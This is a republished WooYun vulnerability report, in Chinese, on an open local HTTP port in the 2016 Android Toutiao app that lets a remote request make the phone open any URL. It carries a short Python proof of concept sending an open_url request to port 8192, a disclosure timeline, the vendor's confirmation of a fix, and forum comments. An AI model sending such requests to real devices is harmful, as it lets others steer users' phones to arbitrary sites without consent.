今日头条开放端口可导致远程在用户手机打开任意网站url

admin 2017年4月19日10:58:15评论502 views字数 211阅读0分42秒阅读模式
摘要

2016-02-29: 细节已通知厂商并且等待厂商处理中
2016-03-04: 厂商已经确认,细节仅向厂商公开
2016-03-07: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2016-04-28: 细节向核心白帽子及相关领域专家公开
2016-05-08: 细节向普通白帽子公开
2016-05-18: 细节向实习白帽子公开
2016-06-02: 细节向公众公开

漏洞概要 关注数(31) 关注此漏洞

缺陷编号: WooYun-2016-179538

漏洞标题: 今日头条开放端口可导致远程在用户手机打开任意网站url

相关厂商: 字节跳动

漏洞作者: 爱宝宝的粑粑

提交时间: 2016-02-29 16:54

公开时间: 2016-06-02 19:20

漏洞类型: 远程代码执行

危害等级: 中

自评Rank: 5

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

5人收藏


漏洞详情

披露状态:

2016-02-29: 细节已通知厂商并且等待厂商处理中
2016-03-04: 厂商已经确认,细节仅向厂商公开
2016-03-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-28: 细节向核心白帽子及相关领域专家公开
2016-05-08: 细节向普通白帽子公开
2016-05-18: 细节向实习白帽子公开
2016-06-02: 细节向公众公开

简要描述:

android版今日头条app,开放了端口,可以送数据给这个端口,特定的数据可导致访问任意url

详细说明:

开启一个http server,来监听这个端口。端口号从本身shared_prefs目录下的

multi_process_config.xml文件内获得

今日头条开放端口可导致远程在用户手机打开任意网站url

它用的是NanoHTTPD来实现的一个http server,http server收到数据后,进行解析,然后进行处理,一般是返回一个http应答,然后不做别的事情。

但是当header满足 GET /xxx?open_url=yyy 形式的时候,程序会执行这些代码

今日头条开放端口可导致远程在用户手机打开任意网站url

监听com.ss.android.action.openurl的receiver,会把 extra拿出来,当成Intent的data,也就是我们传入的URL,然后调起来Activity:

这样,就可以远程操控手机打开任意的URL了

漏洞证明:

code 区域
import httplib
ip = "**.**.**.**"
port = 8192
conn = httplib.HTTPConnection(ip,port)
conn.request("GET","/detail?open_url=http://**.**.**.**")
r1 = conn.getresponse()
print r1.status, r1.reason
data = r1.read()
print data

今日头条开放端口可导致远程在用户手机打开任意网站url

file:开头的URL,可用来安装app,或打开本地文件,这里就不描述了

修复方案:

版权声明:转载请注明来源 爱宝宝的粑粑@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-03-04 19:13

厂商回复:

确认问题存在,已经处理。感谢提醒

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-02-29 16:59 | 子非海绵宝宝 今日头条开放端口可导致远程在用户手机打开任意网站url ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

    1

    眯眯眼700W表示 你的mac要啥配置的

  2. 2016-02-29 17:00 | Coody 今日头条开放端口可导致远程在用户手机打开任意网站url ( 核心白帽子 | Rank:1809 漏洞数:214 | 不接单、不黑产;如遇冒名顶替接单收徒、绝...)

    1

    啪啪啪

  3. 2016-02-29 17:02 | 高小厨 今日头条开放端口可导致远程在用户手机打开任意网站url ( 普通白帽子 | Rank:998 漏洞数:91 | 不会吹牛的小二不是好厨子!)

    1

    那么问题来了,远程在用户手机上打开的是哪个网站?

  4. 2016-02-29 17:04 | 眯眯眼 ( 普通白帽子 | Rank:376 漏洞数:79 )

    1

    @高小厨 @Coody @子非海绵宝宝 你们也挖个内网漫游给我啊

  5. 2016-02-29 17:06 | 珈蓝夜宇 ( 普通白帽子 | Rank:242 漏洞数:34 | 人不彻底绝望一次,就不会懂得什么是自己最...)

    1

    眯眯眼说强烈要求加工资,不加工资怎么大保健.

  6. 2016-02-29 17:06 | 子非海绵宝宝 今日头条开放端口可导致远程在用户手机打开任意网站url ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

    1

    @眯眯眼 把你的帐号发我

  7. 2016-02-29 17:09 | BMa 今日头条开放端口可导致远程在用户手机打开任意网站url ( 核心白帽子 | Rank:2078 漏洞数:229 )

    1

    为了mac,700w自导自演了一场好戏

  8. 2016-03-04 19:25 | cwkiller ( 普通白帽子 | Rank:174 漏洞数:39 | 闭关修炼)

    1

    能上今日头条吗

  9. 2016-04-18 15:44 | 眯眯眼 ( 普通白帽子 | Rank:376 漏洞数:79 )

    0

    提交漏洞的洞主,取消下匿名,方便发送礼物

  10. 2016-05-19 14:17 | 爱宝宝的粑粑 ( 路人 | Rank:10 漏洞数:1 | 爱宝宝)

    0

    @眯眯眼 很抱歉现在才看到,现在取消匿名还来得及吗

  11. 2016-05-19 14:57 | 眯眯眼 ( 普通白帽子 | Rank:376 漏洞数:79 )

    0

    @爱宝宝的粑粑 来得及

  12. 2016-05-20 03:47 | 爱宝宝的粑粑 ( 路人 | Rank:10 漏洞数:1 | 爱宝宝)

    0

    @眯眯眼 嗯,好的,已经改了

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin